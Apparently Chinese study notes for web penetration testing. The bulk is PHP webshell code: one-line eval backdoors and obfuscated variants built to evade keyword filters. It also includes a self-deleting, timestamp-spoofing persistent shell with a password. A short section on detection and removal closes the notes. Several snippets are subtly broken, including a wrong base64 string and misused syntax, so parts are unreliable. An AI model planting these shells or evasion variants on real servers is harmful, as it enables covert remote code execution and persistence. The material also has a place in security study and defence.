Burp suite
- Target(目标)-显示目标目录结构
- Proxy(代理)-拦截HTTP/S的代理服务器,拦截,查看,修改浏览器与目标之间的数据流
- Spider(爬虫)-枚举应用程序的内容和功能
- Scanner(扫描器)-自动发现web应用程序的安全漏洞
- Intruder(入侵)-对web进行自动化攻击
- Repeater(中继器)-手动操作出发单独HTTP请求,并分析响应
- Sequencer(会话)-分析令牌和数据项
- Decoder(解码器)-解码器
- Comparer(对比)-得到两个数据进行比较
- Extender(拓展)-加载拓展
- Options(设置)-设置
- Alert(日志)—
一句话木马
<?php@eval($_POST['cmd']);?> //用post方法获取cmd变量,把接收到的字符串交给eval,eval将它当作php代码执行
eval和assert的区别
相同点:都能把字符串作为PHP代码执行
不同点:eval()不能别可变函数调用,eval()函数实际是一个语言构造器,属于PHP语言内部关键字
注:php7.1以上assert被废弃
木马变形
一:隐藏关键字
//绕过php代码标志<?的限制
<script language="php">@eval($_POST['X'])</script>
//拆分拼接
<?php
$arr=explode(",","a,s,e,r,t");//字符串打散为数组
$payload=$arr[1].$arr[2].$arr[2].$arr[3].$arr[4].$arr[5];//拼接成assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);
?>
//编码
<?php
$a=base64_decode("YXNzZxJO");
@$a($_POST('cmd'));
?>
//随机异或
<?php
$a="Y"^"8";//a
$b="T"^"'";//s
$c="*"^"O";//e
$d="M"^"?";//r
$e="-"^"Y";//t
$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
?>
//可变函数
<?php
@$_REQUEST['e'](@$_REQUEST['x']);//传入e=assert&x=command
?>
//可变变量
<?php
$a='assert';
$b='a';//$$b=$a='assert'
$$b($_POST['x']);//assert($_POST['x'])
?>
二:回调函数
PHP是将函数以String形势传递的
call_user_func($callback,$parameter)
$callback:被调用的回调函数 $parameter:0个或以上的参数,被传入回调函数
<?php
@call_user_func($_GET['id'],$_POST['a']);//传入id=eval&a=command
?>
三:木马的使用
1.执行系统命令
system()--执行外部程序,并显示输出
passthru()--执行外部程序并显示原始输出
exec()--执行一个外部程序,不显示结果,echo返回结果的最后一行
shell_exec()或' '--通过shell环境执行命令,需要echo
2.读文件:
file_get_contents -将整个文件读入为一个字符串
file()-把整个文件读入一个数组中
readfile-读取一个文件,并写入到输出缓冲
3.遍历目录
scandir()函数返回一个指定目录中的文件和目录的数组
四:木马的特征与查杀
代码执行函数:
- eval
- assert
- pre_replace
- create_function
- 回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等
- ...................
命令执行函数:
- exec()--执行一个外部程序
- passthru()--执行外部程序并且显示原始输出
- proc_open()--执行一个命令,并且打开用来输入/输出的文件指针
- shell_exec()或
--通过shell环境执行命令
- system()--执行外部程序,并显示输出
- popen()--通过参数传递一条命令,并对popen打开的文件执行
文件操作函数:
- file_ get_contents 一将整个文件读入为一个字符串
- file_ put_ contents 一将一个字符串写入文件
- file()一把整个文件读入一个数组中
- fopen一打开文件或者URL
- move_ uploaded file 一将上传的文件移动到新位置
- readfile一读取一个文件,并写入到输出缓冲
- rename一重命名一个文件或目录
- rmdir一删除目录
- unlink & delete 一删除文件
包含函数:
- require、require_once
- include、include_once
特殊函数:
- phpinfo
- 变量覆盖 parse_str、extract
- .....................
五:不死马
不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index1.php';
$code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>';
//pass=nepnep 用法:pass=nepnep&cmd=command
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .index1.php');
usleep(5000);
}
?>
/*
ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机断开后脚本仍然会执行。
set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。
unlink(__FILE__): 删除文件本身,起到隐蔽自身的作用。
usleep():延迟执行当前脚本若干微秒。
注:
pass参数使用了MD5加密,防止木马被他人利用。
*/
不死马的查杀:
1、重启服务,比如php 等web服务。
2、创建一个和不死马同名的文件夹。
3、删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。
4、竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。